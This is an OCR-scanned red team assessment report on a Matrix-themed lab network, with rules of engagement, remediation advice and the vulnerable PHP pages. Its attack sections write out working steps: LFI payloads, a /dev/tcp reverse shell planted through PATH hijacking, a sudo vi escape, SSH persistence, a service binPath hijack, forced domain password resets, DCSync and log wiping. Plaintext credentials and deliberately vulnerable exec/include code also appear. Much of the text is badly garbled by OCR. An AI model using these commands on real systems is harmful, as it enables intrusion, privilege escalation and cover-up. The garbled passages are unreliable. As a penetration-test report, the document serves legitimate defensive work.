root:x:0:0:root:/root:/bin/bash daemon:x:1:1 dur‘mon /usr/sbin:/usr/sk g s‘ys X: 3 3. sys /de\ sr/sbin/nol sync:x:4:65534:sync:/bin:/b} ync game 5:6 Jshin

/nologin man:x:6:1 /var‘ / s Ip:x:7:7:1p:/var/! 1 gin news: uucp:x:10: IU uucp:/var/spool/uucp:

fusr/sbin/nologin proxy:x:13:13: b bin/nologin www-data:x:33:33:www-d bin/nologin backup:x x:34:34:backup:/var/ba ukups Jusr/sbin/nologin list:x:38:38: \(axlmq List Manager: var/list; /usr/sbm/nuloqm

irc:x:39:39:ircd:/var/run/ircd: /usr/sbmmoloqm gnats:x:41:41:Gnats Bug-Reporting System (ad nahnm X:65534:65 twork:x:100:1

Network Management,,,:/run/ sy Ive:x:101:103:systemd Rp,n]\er I d / y sync:x:102:104:systemd Time Synchronization,,,:/run/systemd: lu\rhbm/nolugm
:103:1 istent:/usr/sbin/nologin syslog:x: 10-1 11 ¥ apt:x:105:65534 t-fusr/sbin/nolog n tss:x:106:111:TPM software stack,., fvar/lib/tpm /bin/false uuidd:x:107:114:;/run

fuuidd /llxr/\lnn/nulngln hpdump x:108:115 hi-autoipd:x:109:116: AV ahi autolp daemon, :/var/lib/avah d 110:46:usk daemon,/varl

rtkitx:111:11 Jproc:/ust/shin/nologin d: 112:65534:dh login cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/h Iper-/usr/sbin/nologin s coc]\

dispatcher:x. 114:20 Speec h Dispatcher,,-/run/speech-dispatcher:/bin/false avahi:x:115:121:Avahi mDNS dwmun - var/run/avahi-daemon:/usr/sbin/nologin kernoops:x:116:65534:Kernel Oops Tlm king Daemon,,,:/:/ust/sbin/nologin

saned X: ll7 lzi ar/hb/mned /usmbm/noloqm nm-openvpn:x:118:124:Networ OpenVPN,, /\ r/lib, vpn/chroot:fusr/sh hplip:x:119:7:HPLIP system user,,,:;/run/hplip:/bin/false

wh oF tnlnrd \ 121 ]26 colord colour daemon,,,:/var/lib/c d:/usr/sbi geoclue:x:122:127::/var/lib/geoclue:, /\laxlshm/l\nlnqln pulse:x:123:128:PulseAudio daemon, ,,:/var

cun/gnome-initial-setup/-/bin/false gdm:x:125:130:Gnome Display Manager-/var/ibjgdm:-/binfalse ssscx.126:131:5SD system user, ;/var/lib/sss:fusrisbin/nologin

morpheus:x:1000: 1000 morpheus,., /homelmor hcus /bin/bashs

ystemd- Core Dumper:/:/usr/sbin/nologin mysql:x:127:134:MySQL Server,,,:/nonexistent:/bin/false

After successfully exploiting the LFI vulnerability SR disclosed the source code of the control.php page

to find a hidden parameter used to pass remote commands to the server. SR leveraged this vulnerability

and managed to open a reverse shell with LFITetser on the web server as the user “www-data”. The

command used is “Ifitester -u http://192.168.174.129/control.php?cmd= --autopwn [local IP]”.
http://192.168.174.129/enemy.php?file=

LFITester
Automated LFI Testing

1//192.168.174.129/enemy.php?Tile=%2E%2E%2F%2E%2E%2F%
! ! 2Fetc%2Fpasswd
Dlrectory traversal found with http://192.168.174.129/enemy.php?fil 2F%2E%2E%2F%2E%2E%
E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
Dlrectory traversal found with http://192.168.174.129/enemy.php?file=%2E%2E%2F%2E%2F%2E%
%2E %2E%2F%2E%2F%2E" %2E%2F%2E%2E%2F%2E%2F%2E%2E%2Fet passwd

[+] Directory traversal found with http://192.168.174.129/enemy.php?fil 2F%2E%2E%2F%2E%2F%

: F%2E%2F%2E%2E%2F%2E%2F%2E%2E%2F%2E%2F%2E%2E%2F%2E%2F%2E%2E%2Fetc%2Fpasswd

[+] Flles can be retrieved with php filter 1like so (encoded in base64) http://192.168.174.129/
enemy .php?file=php%s3A//filter/rea convert.base64-encode/resource%3Dindex.php
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<2php

$id = 5 GET["cmd"];
lI?'TE_Gt|[“cﬁE“] EEJNULL]{

echo "Hello intruder!";

1 else {

[echo "Hello " . exec($id);
1

P

[*] Switching to interactive mode
Exploit Completed! Session Created...

whoami
www-data

Domain Name Discovery
Furthermore, SR conducted local enumeration and found the user “morpheus” and the domain name of the active
directory (MATRIX.local).

www-data@zion:/homes 1s

morpheus morpheus@MATRIX. local

RDP Credentials via OSINT
SR performed Open-Source Intelligence (OSINT) investigation and found a picture with remote dektop
(RDP) credentials in the background from one of the EC’s employees in a post made on Linkedin
(Neo:SuperSecurePassword1!).
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Thomas (Neo) Anderson = st il
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VI Binary Privilege Escalation in the Web Server

Further enumeration done by SR, revealed that the user “www-data” could execute the vi binary with as
the user “Morpheus” without password confirmation. This misconfiguration allowed SR to elevate the
privileges of the current user and compromise the user “morpheus” with the command “sudo -u

morpheus /usr/bin/vi -¢ ¢:/bin/sh’ /dev/null”.
Matching Defaults entries for www-data on zion:
env_reset, mail badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on zion:
(morpheus) NOPASSWD: /usr/bin/vi

SUID Privilege Escalation & Persistence in the Ubuntu Server

After that, SR discovered a file (/var/wwwi/zion/backup) which had the SUID bit set, the owner was the user root
and the was calling the “cp” command without the absolute path. SR the preceded and successfully exploited this
by creating a file called cp with a reverse shell inside. The command used is “echo “bash -i >&
/dev/tcp/192.168.174.129/9999 0>&1” > /dev/shm/cp” and “export PATH=/dev/shm:$SPATH”. After that SR
gained root permissions on the server.

morpheus@zion:/var/www/zion$ strings backup
/1ib64/1d-1linux-x86-64.50.2
libc.so0.6

setuid

system

__cxa_finalize

setgid

__libc start _main

GLIBC 2.2.5

_ITM deregisterTMCloneTable
__gmon_start

_ITM registerTMCloneTable

u+UH

[IANATACA

cp /var/www/zion/* /var/backups
- b

Additionally, SR created persistence by copying the public SSH key (id _rsa.pub) of the attacker
machine and put it in the “authorized keys” file of the user root on the web server.

Network Enumeration & RDP Access on “THE-WHITE-RBBIT” Host

SR then created SSH port forwarding with a tool called sshuttle to enumerate the network behind the
web server (DMZ) and discovered “THE-WHITE-RBBIT” host (10.10.10.3). By using the tool Nmap it
was revealed the host had open the remote desktop protocol (RDP) and using the credentials found via
OSINT (Neo:SuperSecurePassword1!), SR was able to login as the domain user “Neo”.
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rootdzion:~# arp
gatewav (197.168.174.2) at 00:50:56:e8:11:40 [ether] on ens33
? (10.10.10.3) at 00:0c:29:2f:50:d1 [ether] on ens34

? (1¥s.1ve.104.1) at O0:50:56:cO0:00:08 [ether] on ens33
gateway (10.10.10.1) at 00:0c:29:65:91:be [ether] on ens34

# Nmap 7.80 scan initiated Sun Jul 3 17:48:51 2822 as: nmap -T1 -sT -p- -sV -v LON .fnmap.txt -Pn 10.10.10.3
lNmap scan report for 10.10.10.3

Host is up (©.88854s latency).

Not shown: 65527 filtered ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
4] B i —dg?

bdd/Tcp open  unknown

5357/tcp open http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)
7680/tcp open pando-pub?
49668 /tcp open msrpc Microsoft Windows RPC

Service Info: 05: Windows; CPE: cpe:/o:microsoft:windows

rdesktop - 10.10.10.3

Other user

THE-WHITE-RBBIT\Neo

Reset password

Sign in to: THE-WHITE-RBBIT

How do | sign in to another domain?
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Privilege Escalation via Weak Service Permissions in “THE-WHITE-RBBIT” Host

After logging in as the user “Neo”, SR discovered that the host was using Windows Defender as
protection. SR then bypassed the AMSI protection and opened a Covenant reverse shell without
triggering the antivirus.

fows Security

® Virus & threat protection settings

View a

iew & threat protection settings for Microsoft Have a question?
Defen

Real-time protection
L viare from installin

8 |@ o
a

@

Cloud-delivered protection
Provides incre 4 faster protection wlth access to the latest
ks best wth Automatic sample

»

@D o~

Automatic sample submission

oft to help protect you and others from
ou if the f

Grunts

Mame Hostname User Integrity LastCheekin Status MNote Template

The White-Roit Neo Medum 1162022 12:32:35 PM Actve GruntHTTP

Next, SR used a built-in Covenant tool called “sharpup” and a tool called “accesschk64.exe” to conduct
local enumeration on the host with the command “SharpUp audit”. SR found a service, called
“network_service”, which had as owner LocalSystem and the user “Neo” had permissions to start/stop
the service on demand but also could modify the “BINARY PATH-NAME” parameter. The command
being “PowerShell sc.exe gqc network_service”. SR successfully exploited this misconfiguration by
modifying the “BINARY PATH-NAME” parameter to point to an undetectable reverse shell executable
which would be executed when the service was started with the command “PowerShell sc.exe config
network_service binPath= ”C:\Temp\network_service backup.exe””’ and “PowerShell net start
network_service” to start the service. Thus, SR gained system level permissions on the host.
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covenant) > SharpUp audit

=== SharpUp: Running Privilege Escalation Checks ===

[*] In medium integrity but user is a local administrator- UAC can be bypassed.

[*] Audit mode: running all checks anyway.

=== Modifiable Services ===

=== Modifiable Service Binaries ===

Name : network service
DisplayName : network service

Description :
State : Stopped

StartMode : Manual
PathName : C:\network service.exe

(covenant) = powershell sc.exe gc network service
[SC] QueryServiceConfig SUCCESS

SERVICE NAME: network service
TYPE : 10 WIN32 OWN PROCESS
START TYPE : DEMAND START
ERROR_CONTROL : NORMAL
BINARY PATH NAME : C:\network service.exe
LOAD ORDER GROUP  :
TAG : B
DISPLAY NAME : network service
DEPENDENCIES :
SERVICE START NAME : LocalSystem
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Windows Security

Real-time protection Help improve Windows Security
Locates installing o running on your device. Yo PSS e
can tur ttime before it tums back on

automatically.

@ o Change your privacy settings
View and change privacy settings
for your Windows 10 device.
Privacy settings

Privacy dashboard

< Privacy Statement
utomatic sample

Automatic sample submission

o Quick sceess
B Desktop

Send sample files to Microsoft to help protect you and others from

potential threats. We'll prompt you if the file we need is likely to contain
& Downloads personal information.
[4] Documents
= Pictures @D or

i Locel Dik (€
D Music
] Videos

Submit a sample manually

@ Onedrve
Tamper Protection

Prevents others from tampering with important security features.

o| @ o

13 is PC

o Network

E. dadecdac20 I The-white-Rbbit SYSTEM I System 8/1/2022 1:12:47 PM Active GruntHTTP

Page1oil © € EAC)

. 4adecaac20 x

covenant

NT AUTHORIT

Domain Enumeration

Now with system level access on “THE-WHITE-RBBIT” host, SR uploaded a tool called “sharphound”
to perform domain enumeration, then using the tool “Bloodhound”, found one domain admin (Architect)
and weak permissions of Access Control Lists (ACLs) which led from the domain user “Neo” to the “Domain
Admins” group.
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Analysis

Pre-Built Analytics Queries

IFlnd all Domain Admins I

Y

Map Domain Trusts

Find Computers with Unsupported Operating Systems

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Find Computers where Domain Users are Local Admin

Find Computers where Domain Users can read LAPS passwords

Find All Paths from Domain Users to High Value Targets

Find Workstations where Domain Users can RDP

Find Servers where Domain Users can RDP

Find Dangerous Rights for Domain Users Groups

Find Domain Admin Logons to non-Domain Controllers

ACCOUNT OPERA

~ GenericAl
AL [NEO@MATRIX LOCA!

SENTINEL1@MATRIX LOCAL

Exploitation of the Domain

DOE@MATRIX.LOCAL

191

HQ@MATRIX. LOCAL

DEFAULT DOMAIN CONTROLLERS PO

A
&
beroy

ARCHITECT@MATRIX.LOCAL

DEFAULT DOMAIN PX

Red Team Assessment Report

DOMAIN ADMINS@MATRIX.LOCAL

/

Then SR successfully exploited this vulnerability by adding the user “Neo” to the “Agents” group with
the command “PowerShell net group “Agents” Neo /add /domain”, then force changing the password
of the user “smith” to “Password123!” with the command “PowerShell Set-DomainUserPassword -
Identity smith -AccountPassword (ConvertTo-SecureString ‘Password123!’ -AsPlainText -Force)

-Credential

(New-Object

System.Management.Automation.PSCredential CtMATRIX\Neo’,

(ConvertTo-SecureString ‘SuperSecurePassword1!” -AsPlainText -Force)))” and finally the user
“smith” adding himself to the “domain admins” group using PowerShell remoting with the command
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“PowerShellRemotingCommand MATRIX-DC “net group ‘Domain Admins’ smith /add /domain”

MATRIX smith Password123!1”.

(covenant) > PowerShellImport

PowerShell Imported

(covenant) - PowerShell net group "Agents" Neo /add /domain

The request will be processed at a domain controller for demain MATRIX.local.

The command completed successfully.

rshell Set-Do
-Automation.PSCri

g 'Password123!’ inText -Force) -Credential (New-Object
' -AsPlainText -Fc )

(covenant) > PowerShellRemotingCommand MATRIX-DC "net group 'Domain admins' Jfdomain" MATRIX smith Passwordl23!

The command completed successfully.

(covenant) > PowerShellRemotingCommand MATRIX-DC "net user smith /domain" MATRIX smith Passwordl23!

User name smith
Full Name smith
Comment

r's comment
Country/region code
Account active
Account expires

expires

06 AM

changeable 2:06 AM

required
¢ change password

8/20/2022 9:37
Logon hours allowed ALl

Local Group Memberships *Administrators
Global Group memberships *Domain Admins

Exploitation of the Domain Controller
Using PowerShell remoting SR logged in

*Domain Us

to the domain controller as the user “Smith” with the

command “Enter-PSSession -ComputerName -Credential MATRIX\smith” and the password
“Password123!”, bypassed the AMSI protection and opened a high integrity Covenant reverse shell.
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MATRIX-DC

Enter your credentials.

User name: | €7 MATRIN\smith

Password: | .tootooo.oo.l

TMATRIX-DC1: PS C:\Us smithyDocuments: whoami

Window
< Wiew and change privacy settings
_ . for your Windows 10 device.
= or running on your device. You
e it tums back on Privacy settings
 Kali Linux 3 Kali Training % Kall orums  « KaliDocs e NetHunter J o Privacy dashbos
Privacy Statement
AZovenanr TR v} @ o
i
=] Cloud-delivered protection
Pr and faster protection with
a H
pr:
submission tumed an.
>~ Grune Cl
@ o
Automatic sample submission
Send i and others from
oter reats. We'll prompt you if the ed is likely to contain
ArISg MATRIDC  smih  Hgh fl22/2022 fclive GruntHTTR Automatic sample submission is off. Your device may be  Dismic
11:48:32 AM A nerable
® ) on
-
Submit a sample manually
>_ e7eegeassa >_ 3787386034 Tamper Protection
Prevents others from tampering with important security features.
@D o
@ Controlled folder access
H P Type here 10 search

Finally, as proof-of-concept, SR preformed a DCSync attack to reveal the password hash of the “krbtgt”
account. The tool Mimikatz was used in the attack with the command “DCSync MATRIX\krbtgt”.
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> 3787386034 I MATRIX-DC smith High I 8/22/2022 12:32:34 PM Active GruntHTTP

Page 1of 1

>_ e7ee9eab5a X >_ 3787386034 X

(covenant) > DCSync MATR.

Object RDN : krbtgt

*% SAM ACCOUNT **

Object RDN
** SAM ACCOUNT **

SAM Username : krbtgt

Account |ype : 3uBeBPue ( USER OBJIECT )

User Account Control : 00080282 ( ACCOUNTDISABLE NORMAL ACCOUNT )
Account expiration

Password last change : 8/1/2822 2:12:28 PM

Object Security ID : i 21 35226495-502
Object Relative ID : 502

Credentials:
Hash NTLM: Bc3f47fabed433a5d73b68eddazcTeaf
ntim- ©: BciT4/Tased4433abd/ibbdeddalc/eat
Im - @: a%aB51c058792a923655e3b26830c624

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 227d45f9c640fdcccc3cas77657d136e

Cleanup Section
SR did the following actions to eradicate their presence.
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Removed Log Files from the Web Server
SR used a script called “moonwalk” to remove their presense from the log files of the web server and
the deleted the script.

Deleted the /dev/shm/cp File Used for Privilege Escalation
SR removed the /dev/shm/cp file used for privilege escalation for the user “root” and restored the PATH
variable to its original state.

Deleted the id_rsa.pub Key Used for Persistence
SR removed the “id_rsa.pub” SSH public key from the “authorized keys” folder in the user “root” home
directory, which was used for persistence in the web server.

Removed the Reverse Shell Used fro Privilege Escalation
SR removed the reverse shell and the “accesschk64.exe” file used in “THE-WHITE-RBBIT” host for
privilege escalation of the user “Neo”, restored the binary path of the service to its original state.

Deleted Sharphound Used for Domain Enumeration
SR removed the tool Sharphound and all of the files it generated from “THE-WHITE-RBBIT” host

Restored the Domain to Its Original State
SR removed the user “Neo” from the group “Agents” and the user “smith” from the “domain admins”
group. Unfortunately, SR could not restore the original password of the user “smith” as it is unkown.

Conclusion
Example Corporation suffered a series of control failures, which led to a complete compromise of
critical company assets e.g. (Webserver, Domain Controller). These failures would have had a
dramatic effect on the Example Corporation operations if a malicious party had exploited them. Current
policies and deployed access controls are not adequate to mitigate the impact of the discovered
vulnerabilities.
The specific goals of the red team engagement were started as:
e ldentifying if a remote attacker could penetrate Example Corporation’s defenses
e Determining the impact of a security breach on:
o Confidentiality of the company’s information
o Internal infrastructure and availability of Example Company information systems

SR identified three critical vulnerabilities which must be mitigated as soon as possible as they are the
greatest danger at this time for the company along with another three high vulnerabilities. The team also
found three medium vulnerabilities which do not pose as much danger as the critical or high
vulnerabilities but they must be mitigated nonetheless. Lastly, there are two more informational
vulnerabilities in the company but they do pose any danger.
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Red Team Assessment
Rules of Engagement

Objective:

This document summarizes the rules of engagement for the red team assessment
offered by SystemRed. The intent of this document is to clearly define the roles and
responsibilities and the details of the test agreement.

Applicability:

This agreement is binding on all elements involved with the red team assessment
offered by SystemRed. This includes the resources used by SystemRed as well as
relevant contacts within the Example organization.

Roles and Responsibilities:
Red Team:
The red team is made up of Example and SystemRed team members.

Example:

The red team assessment needs to be unannounced in order to provide maximum
benefit to Example. However, there might be a need for Example interaction at
some level. The following describes the general guidelines, roles and
responsibilities for Example.

The Example team is responsible to observer and document responses to intrusion
attempts by the SystemRed team. They will serve as the last escalation point for
SystemRed’s intrusion ‘incidents’, preventing law-enforcement’s involvement. In
addition to these general guidelines, the following roles are assigned:

Example Red Team Assessment — Rules of Engagement
Copyright © SystemRed, inc.
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Customer Point of Contact (CPOC): The CPOC will be primarily responsible for
coordination with the red team. This person will have the ability to verify suspicious
activities with the SystemRed team to differentiate between testing and
coincidental real-world hacking attempts. The CPOC will have the ability to re-
schedule activities if necessary. The CPOC will make all of his contact methods
knows to the SPOC.

SystemRed:

The SystemRed team will be responsible for the actual network penetration
activities. Each team member will be covered by the non-disclosure agreement
between Example and SystemRed. The team will document all red team
assessment activities, successes and failures.

SystemRed Point of Contact (SPOC): The SPOC will be primarily responsible for
coordination with Example and the SystemRed assessment team. This person will
be coordinating the schedule for all SystemRed penetration activities and have the
ability to reschedule or cancel any activity within 1 hour of receiving a call from the
CPOC. The SPOC will make all of his contact information available to the CPOC.

Rules of Engagement:

Dates of Assessment: The assessment will be conducted for April 1% through May
31°. The majority of the assessment will occur during business hours with specific
exclusions as requested by the CPOC. Testing during off hours is permitted.

Disclosure: Example has provided the IP networks relevant for the red team
assessment. Example has the right to specifically exclude IPs or ranges of IPs but
has not excluded any IPs from the red team assessment.
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<@> SystemRed inc.

Red Team Assessment

Rules of Engagement
31/03/2022

Status Updates: SystemRed will communicate daily start and stop times for testing
activities. SystemRed will also provide a weekly status update via email
summarizing the status of the assessment.

Red Team Assessment: Vulnerability scanning of the external networks are in
scope for this assessment.

IP addresses range in scope:

e 10.10.10.0/24
e 10.10.0.0/16
e 192.168.174.129

Malware Emulating Testing: The following systems will be tested for malware
detection and response:

e SystemRed will perform in-depth malware testing and may run command
and control utilities such as Covenant and Meterpreter. Example should
notify SystemRed if they detect malware in the environment to confirm the
activity belongs to SystemRed.

Bounds of the assessment: All IP addresses included in the cybersecurity
assessment waiver will be scanned for vulnerabilities. Other addresses discovered
in due process that belong to Example will not be scanned, unless they are within
the defined scope.

Stop Point: The red team will stop testing at the end of business on the last day of
authorized testing or as soon as all testing has been completed.

Keeping Access: The SystemRed team may employ methods to maintain access to
a network (persistence) until the assessment is completed. After that period all
persistence must and will be removed.
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<@> SystemRed inc.

Red Team Assessment

Rules of Engagement
31/03/2022

Announcement: The vulnerability scan will not be announced by Example to the
staff at Example site(s). If the red team discovers a prior vulnerability on an asset,
the CPOC will be notified immediately. The CPOC will advise the red team whether
or not to continue testing that asset.

Project Closure: The project will be closed at the end of business May 31%, 2022 or
after the project debrief has been completed.

Post Mortem: The red team will offer full disclosure and reporting to explain the
attacks and vulnerabilities identities at the Example site(s).

Out of Scope: The following items are not in scope for this assessment
e Denial of Service (DoS) attacks against production infrastructure
Disclaimer

Example acknowledges and accepts the following assumptions and limitations of
liability as necessary to this type of engagement:

e SystemRed may use commercial and/or common, readily available tools to
perform the red team assessment.

e Example understands that the activities SystemRed will be engaged in mirror
real world hacking activities and, as such, may impede system performance,
crash production systems and permit unproved access.

e Example understands that the actions of SystemRed may involve risks which
are not known to the parties at this time and that may not be foreseen or
reasonably foreseeable at this time.

Acceptance
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Red Team Assessment

Rules of Engagement
31/03/2022

By signing this Rules of Engagement / Engagement Waiver document, the
undersigned asserts that he/she is authorized to enter into this agreement and
waiver on behalf of Example for the scope, defined above.

SystemRed is hereby granted the permission to exercise the testing process as
described in the above sections and Example formally accepts all the disclaimer and
liability provisions set forth above.
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Appendix B: Web Pages

Index.php:
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<IDOCTYPE html>

<html>

<head>
<style type="text/css">
*
margin: 0;

padding: 0;

body {background: black;}
canvas {display:block;}
</style>
</head>
<body>
<canvas id="c"></canvas>
<script type="text/javascript">
var ¢ = document.getElementByld("c");

var ctx = c.getContext("2d");

//making the canvas full screen
c.height = window.innerHeight;

c.width = window.innerWidth;

//chinese characters - taken from the unicode charset

var matrix =
"abcdefghijkimnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789 @#5%" &*() * & %+-
(N

//converting the string into an array of single characters
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matrix = matrix.split("");

var font_size = 10;

var columns = c.width/font_size; //number of columns for the rain
//an array of drops - one per column

var drops = [J;

//x below is the x coordinate

//1 =y co-ordinate of the drop(same for every drop initially)
for(var x = 0; x < columns; x++)

drops[x] = 1;

//drawing the characters

function draw()

{
//Black BG for the canvas
//translucent BG to show trail
ctx.fillStyle = "rgba(0, 0, 0, 0.04)";

ctx.fillRect(0, 0, c.width, c.height);

ctx.fillStyle = "#42f460";//green text

ctx.font = font_size + "px arial";

//looping over drops

for(vari=0; i< drops.length; i++)

{
//a random chinese character to print
var text = matrix[Math.floor(Math.random()*matrix.length)];
//x = i*font_size, y = value of drops[i]*font_size

ctx.fillText(text, i*font_size, drops[i]*font_size);
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//sending the drop back to the top randomly after it has crossed the screen
//adding a randomness to the reset to make the drops scattered on the Y axis
if(dropsl[i]*font_size > c.height && Math.random() > 0.975)

drops[i] = 0;

//incrementing Y coordinate

drops[i]++;

setInterval(draw, 35);

</script>

</body>

</html>

Control.php:
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<?php

Sid =$_GET["ecmd"];

if (5_GET["cmd"] == NULL){
echo "Hello intruder!";

}else {

echo "Hello " . exec($id);

}

>

<IDOCTYPE html>

<html>

<body>

<p>We should really hide the matrix control panel as it is still under development. We should also
transform ourselves to hide our <a href=./enemy.php?file=sentinel.jpg>true faces</a>. We must
become something like <i>agents</i>.</p>

</body>

</html>

enemy.php:
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<?php

Sfile = S_GET["file"];

if (Sfile == NULL){

echo "File does not exist.";

Sfileext = pathinfo('/var/www/zion/' . $file);

Sfullfile = '/var/www/zion/' . $file;

if ( Sfileext['extension'] == "png") {

header('Content-type: image/png');

include(Sfullfile);

} elseif ( Sfileext['extension'] == "jpg") {

} else{
}else {
}

1

>

header('Content-type: image/jpeg');

include(Sfullfile);

include(Sfile);

Appendix C: Vulnerability Detail and Mitigation

Common Filenames (Medium)

Table 5. Common Filenames

Description: By scanning the network SR found an Ubuntu web server (192.168.174.129) installation
and identified two hidden files (control.php, enemy.php) from the main website.

Impact/CSV Score] Medium (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

System: WWW.zZion.com

Remediation ¢ SR recommends EC to:

References: e Harden the web server’s security in order to make it harder to identify any hidden

files.

e Use complex names in any file or folder you want to obscure and also use a content
delivery network (CDN) like Cloudflare to mitigate the direct IP access and also to
prevent passive recon sources.

e Monitor executed commands and arguments that may enumerate files and
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directories or may search in specific locations of a host or network share for certain
information within a file system.

Monitor for API calls that may enumerate files and directories or may search in
specific locations of a host or network share for certain information within a file
system.

Monitor newly executed processes that may enumerate files and directories or may
search in specific locations of a host or network share for certain information
within a file system.

Local File Inclusion in enemy.php File (High)

Table 6. Local File Inclusion in enemy.php file

Description: SR discovered a Local File Inclusion Vulnerability which exists in (enemy.php) file in the
image file parameter. SR successfully exploited the vulnerability with PHP filter in order to
access the source code of the control.php file.

Impact/CSV Score] High (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

System: WWW.zZion.com

Remediation d The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing

References: user-submitted input to any filesystem/framework API. If this is not possible the
application can maintain an allow list of files, that may be included by the page, and then
use an identifier (for example the index number) to access to the selected file. Any request
containing an invalid identifier has to be rejected, in this way there is no attack surface for
malicious users to manipulate the path.

Remote Code Execution in control.php File (Critical)

Table 7. Remote Code Execution in control.php file

Description: SR reviewed the source code found in step 2 and successfully found in the (control.php)
file, a hidden parameter used to execute commands on the server. Then SR successfully
exploited this vulnerability in order to gain access to the webserver as the user “www-data”
via a reverse shell.

Impact/CSV Score] Critical (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N)

System: WWW.zZion.com

Remediation ¢ SR recommends EC to review the source code of a web app and remove or harden any

References: vulnerable parameters. Furthermore, SR suggest to not pass user input directly before

validating it in order to prevent remote code execution vulnerabilities.

Domain Name Discovery (Informational)

Table 8. Domain Name Discovery

Description: SR discovered a domain user in the webserver, which is connected to the active directory,
and found the domain name (MATRIX.local).

Impact/CSV Score] Informational

System: Ubuntu server

Remediation ¢ SR recommends EC to remove the web server from the active directory.

References:

RDP Credentials via OSINT (Critical)
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Table 9. RDP Credentials via OSINT

Description: SR conducted an Open-Source Intelligence (OSINT) investigation and discovered a picture
with remote dektop (RDP) credentials in the background from one of the EC’s employees
in a post made on LinkedIn (Neo:SuperSecurePassword1!).

Impact/CSV Score] Critical (CVSS:3.0/AV:N/AC:L/PR:N/UL:N/S:C/C:H/I:L/A:L)

Remediation ¢ This technique cannot be easily mitigated with preventive controls since it is based on

References: behaviors performed outside of the scope of enterprise defenses and controls. Efforts
should focus on minimizing the risk with extensive training on the subject by all
employees.

VI Binary Privilege Escalation in the Ubuntu Server (High)

Table 10. VI Binary Privilege Escalation in the Web Server

Description: SR conducted local enumeration and discovered that the “vi” binary could be called and
run with elevated privileges as the user “morpheus” without requiring a password. Then SR
exploited usefully this vulnerability gaining control of the user “morpheus”.

Impact/CVS Score; High (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/IA:N/E:H/RL:0O/RC:C)

System: Ubuntu server

Remediation ¢ SR recommends EC to:

References: e Implement a password request for any request with elevated privileges by any

user.
e Remove any elevated privilege from the user “www-data”, if plausible.

SUID Privilege Escalation & Persistence in the Ubuntu Server (High)

Table 11. SUID Privilege Escalation & Persistence in the Web Server

Description: SR conducted further local enumeration and discovered that the file
“/var/www/zion/backup” had the SUID bit set and the owner was the user root. SR then
found that the script was calling the command “cp” without the relative path and not the
absolute one. SR then successfully exploited the vulnerability taking over the user root. SR
also created an SSH backdoor in the user root to create persistence.

Impact/CSV Score: High (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

System: Ubuntu server

Remediation ¢ SR recommends EC to:

References: e Remove the SUID special permission from the file ““/var/www/zion/backup”.

e Use only the absolute path of a command in scripts and programs, whenever

possible.

RDP Access in the THE-WHITE-RBBIT Host (Medium)

Table 12. rdp Access in the Windows 10 Host

Description: SR created a pivot point on the Ubuntu server via SSH service to perform network
enumeration and discover “THE-WHITE-RBBIT” host (10.10.10.3). SR then used the
credentials from the OSINT investigation to gain access to the host via remote desktop
(RDP) as the user “Neo”.

Impact/CSV Score] Medium (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)

System: THE-WHITE-RBBIT

Remediation ¢ There are no clear mitigation techniques because legitimate credentials were used to gain

References: access to the host and compromise the user. Nonetheless, SR’s recommendation remains
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the same with the OSINT investigation.

Privilege Escalation Via Weak Service Permissions In “THE-WHITE-RBBIT” Host

(Medium)

Table 13.

Privilege Escalation via Weak Service Permissions in the Windows 10 Host

Description:

SR after gaining initial access, bypassed the AMSI protection and opened a reverse shell,
undetected, in the Covenant C2 framework. SR then proceeded to conduct local
enumeration with Covenant and found one stopped service (network_service) where the
owner was “LocalSystem”. Furthermore, the user “Neo” had permission to start/stop the
service on demand and to modify the “BINARY PATH NAME” parameter. SR then
successfully exploited the vulnerability by modifying the service’s path to load an
undetectable reverse shell in executable format transferred previously to the host. That shell
then was used to open another reverse shell in the Covenant framework with System
permissions.

Impact/CSV Score!

Medium (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L)

System:

THE-WHITE-RBBIT

Remediation ¢

References:

SR recommends EC to:

Constraint the permissions given to the users

The folder of which the service binary is located should be accessible only to
Administrators

Implement the least privilege principle

Domain Enumeration (Informational)

Table 14. Domain Enumeration

Description: SR then performed domain enumeration with the Bloodhound tool on “THE-WHITE-
RBBIT” host and found one domain admin (Architect). SR also discovered weak
permissions of Access Control Lists (ACLs) which SR successfully leveraged to gain
domain admin privileges.

Impact/CSV Score Informational

System: MATRIX.local and THE-WHITE-RBBIT

Remediation ¢ SR recommends EC to:

References: e Implement the least privilege principle

e Ensure critical system files as well as those known to be abused by adversaries
have restrictive permissions and are owned by an appropriately privileged account,
especially if access is not required by users nor will inhibit system functionality.
Applying more restrictive permissions to files and directories could prevent
adversaries from modifying the access control lists.

Remove the vulnerable account “smith” from the “Administrators” group and/or

restrict the permission the group “Agents” has on the account, if plausible.

Domain Controller Exploitation (Critical)

Table 15. Domain Controller Exploitation

Description:

SR used PowerShell remoting from “THE-WHITE-RBBIT” host to the domain
controller and used it to bypass the AMSI protection and open a reverse shell in the
Covenant framework. SR then successfully performed a DCSync attack to disclose the
password hash of the krbtgt account.
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Impact/CSV Score] Critical (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
System: MATRIX-DC

Remediation ¢ SR recommends EC to:

References: .

Disable PowerShell remoting functionality on the domain controller and on
all hosts, if plausible.

Manage the access control list for "Replicating Directory Changes" and
other permissions associated with domain controller replication.

Ensure that local administrator accounts have complex, unique passwords
across all systems on the network.

